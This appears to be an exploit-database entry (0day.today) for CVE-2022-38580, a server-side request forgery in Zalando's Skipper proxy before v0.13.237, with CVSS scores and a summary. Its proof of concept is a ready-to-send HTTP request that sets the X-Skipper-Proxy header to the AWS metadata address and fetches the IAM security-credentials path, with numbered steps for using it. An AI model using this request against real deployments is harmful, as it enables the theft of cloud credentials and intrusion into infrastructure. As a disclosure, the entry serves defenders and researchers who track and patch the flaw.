X-Skipper-Proxy v0.13.237 - Server Side Request Forgery Vulnerability

2023-03-2800:00:00

Hosein Vita

0day.today

128

skipper proxy

vulnerability

ssrf

linux

metadata server

http request

header

cve-2022-38580

github advisory

9.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

9.6 High

AI Score

Confidence

High

0.026 Low

EPSS

Percentile

90.4%

JSON

#Exploit Title: X-Skipper-Proxy v0.13.237 - Server Side Request Forgery (SSRF)
#Exploit Author: Hosein Vita & Milad Fadavvi
#Vendor Homepage: https://github.com/zalando/skipper
#Software Link: https://github.com/zalando/skipper
#Version: < v0.13.237
#Tested on: Linux
#CVE: CVE-2022-38580


Summary:

Skipper prior to version v0.13.236 is vulnerable to server-side request forgery (SSRF). An attacker can exploit a vulnerable version of proxy to access the internal metadata server or other unauthenticated URLs by adding an specific header (X-Skipper-Proxy) to the http request.


Proof Of Concept:

1- Add header "X-Skipper-Proxy"  to your request
2- Add the aws metadata to the path

GET /latest/meta-data/iam/security-credentials HTTP/1.1
Host: yourskipperdomain.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36
X-Skipper-Proxy: http://169.254.169.254
Connection: close




Reference:
https://github.com/zalando/skipper/security/advisories/GHSA-f2rj-m42r-6jm2